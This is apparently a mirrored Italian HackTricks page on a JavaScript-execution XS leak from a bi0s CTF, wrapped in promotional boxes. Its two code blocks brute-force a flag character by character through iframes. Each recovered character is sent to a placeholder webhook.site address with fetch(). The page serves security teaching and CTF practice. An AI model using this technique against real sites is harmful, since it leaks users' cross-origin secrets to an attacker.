mirror of
https://github.com/carlospolop/hacktricks
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88 lines
3.9 KiB
Markdown
88 lines
3.9 KiB
Markdown
# Esecuzione di JavaScript XS Leak
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<details>
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<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
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* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
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* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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```javascript
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// Code that will try ${guess} as flag (need rest of the server code
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app.get('/guessing', function(req, res) {
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let guess = req.query.guess
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let page = `<html>
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<head>
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<script>
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function foo() {
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// If not the flag this will be executed
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window.parent.foo()
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}
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</script>
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<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
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</head>
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<p>hello2</p>
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</html>`
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res.send(page)
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});
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```
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Pagina principale che genera iframes alla pagina precedente `/guessing` per testare ogni possibilità
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```html
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<html>
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<head>
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<script>
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let candidateIsGood = false;
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let candidate = ''
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let flag = 'bi0sctf{'
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let guessIndex = -1
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let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
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// this will get called from our iframe IF the candidate is WRONG
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function foo() {
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candidateIsGood = false
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}
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timerId = setInterval(() => {
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if (candidateIsGood) {
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flag = candidate
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guessIndex = -1
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fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
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}
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//Start with true and will be change to false if wrong
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candidateIsGood = true
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guessIndex++
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if (guessIndex >= flagChars.length) {
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fetch('https://webhook.site/<yours-goes-here>')
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return
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}
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let guess = flagChars[guessIndex]
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candidate = flag + guess
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let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
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console.log('iframe: ', iframe)
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hack.innerHTML = iframe
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}
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, 500);
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</script>
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</head>
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<p>hello</p>
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<div id="hack">
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</div>
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</html>
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```
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<details>
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<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
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* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
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* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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